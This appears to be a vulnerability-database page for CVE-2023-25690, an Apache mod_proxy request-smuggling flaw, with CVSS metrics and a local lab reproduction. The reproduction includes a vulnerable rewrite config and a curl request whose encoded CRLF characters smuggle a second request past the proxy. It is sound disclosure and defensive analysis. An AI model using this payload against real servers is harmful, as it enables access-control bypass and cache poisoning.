Attacker Value
High
(1 user assessed)
Exploitability
Very Low
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
8

CVE-2023-25690

Disclosure Date: March 07, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack.

Configurations are affected when mod_proxy is enabled along with some form of RewriteRule
or ProxyPassMatch in which a non-specific pattern matches
some portion of the user-supplied request-target (URL) data and is then
re-inserted into the proxied request-target using variable
substitution. For example, something like:

RewriteEngine on
RewriteRule “^/here/(.*)” “http://example.com:8080/elsewhere?$1”; [P]
ProxyPassReverse /here/ http://example.com:8080/

Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.

Add Assessment

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • apache

Products

  • http server
Technical Analysis

Description

On March 7, 2023, the Apache Foundation posted an advisory stating that CVE-2023-25690 had been fixed in Apache HTTP Server 2.4.56. The fix, merged on March 5, prevents control characters from being submitted as part of a proxied request. Its CVSS base score is 9.8, as this can theoretically bypass access controls.

The issue seemed to go largely unnoticed until May 21, 2023, when a researcher who goes by dhmosfunk published a proof of concept, which demonstrated how this vulnerability can be used for both header-injection and request-smuggling attacks against a theoretical vulnerable application that they themselves developed.

For a real application to be affected, several factors must be present:

  • The application must be running on a vulnerable version of Apache HTTP Server (2.4.55 and earlier)
  • The Apache server’s configuration must have RewriteRule that copies data into the query string of a proxied URL
  • The application must treat the proxy as a meaningful security boundary

So far, we are not aware of any vulnerable applications; however, we wouldn’t be surprised if some exist (particularly bespoke applications and proxies). Since a proof of concept exists, and this issue is very easy to exploit, if somebody DOES find a vulnerable application it will likely be exploited very quickly.

Technical analysis

To understand this vulnerability, we’ll create an Apache HTTP Server with a minimal httpd.conf file, based on the advisory:

# Required stuff
LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule unixd_module modules/mod_unixd.so
Listen 80
User www-data
Group www-data

# The vulnerable rewrite/proxy modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

# Turn on the RewriteEngine
RewriteEngine on

# Create a rule that redirects the full URL to the query-string of another server
RewriteRule "^/(.*)" "http://localhost:8081/?arg=$1" [P]

Then fire up Apache HTTP Server 2.4.55 (the most recent vulnerable version) in Docker, mounting that config file into the container (the configuration file should also work outside of Docker):

$ docker run --network=host --rm --volume $PWD/httpd.conf:/usr/local/apache2/conf/httpd.conf -it httpd:2.4.55
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.16.166.147. Set the 'ServerName' directive globally to suppress this message

We pass the argument --network=host to ensure the proxy’s connection to localhost:8081 works; the rest of that command is pretty standard fare for docker run.

In another window, run an ncat listener on port 8081; this will serve as the backend. By adding </dev/null, we also close the connection immediately after receiving data (the proxy will think the backend is down, which is fine):

$ nc -l -p 8081 </dev/null

Once the Apache HTTP Server is running, and Netcat is ready to catch our proxied requests, send a request to the server with newline characters and a second request built in:

$ curl 'http://127.0.0.1/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/ohnosmuggled/hi'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

While the response returns an error, if we check the ncat listener, we’ll see that two separate requests arrived:

$ nc -l -p 8081 </dev/null
GET /?arg=1 HTTP/1.1
Host: localhost

GET /ohnosmuggled/hi HTTP/1.1
Host: localhost:8081
User-Agent: curl/7.79.1
Accept: */*
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Server: 172.16.166.147
Connection: close

If those requests went to a web server instead of ncat, they’d be handled as two separate requests.

Guidance

We suggest updating Apache version 2.4.56 (or higher), especially if your services are using RewriteRule entries.

References